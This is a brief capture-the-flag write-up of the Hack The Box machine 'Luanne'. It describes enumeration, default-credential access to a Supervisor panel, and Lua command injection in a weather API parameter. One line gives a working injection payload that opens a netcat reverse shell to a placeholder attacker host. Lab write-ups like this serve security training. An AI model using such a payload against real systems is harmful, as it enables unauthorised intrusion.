Luanne

Hack The Box · Easy Linux/Other Box · Retired

Enumeration

AutoRecon identified HTTP on TCP 80 and Medusa Supervisor on TCP 9001. The default credentials user:123 opened the Supervisor panel and exposed processes bound to localhost ports 3000 and 3001.

Initial Access

The weather service exposed a /weather/forecast endpoint. Its city parameter was vulnerable to Lua command injection. A URL-encoded payload using os.execute() launched a reverse shell as the HTTP service account.

')+os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 1337 >/tmp/f')+--

Lateral Movement and Privilege Escalation

The walkthrough recovered the web API password hash from .htpasswd, cracked it, and used the resulting credentials to move laterally before completing privilege escalation.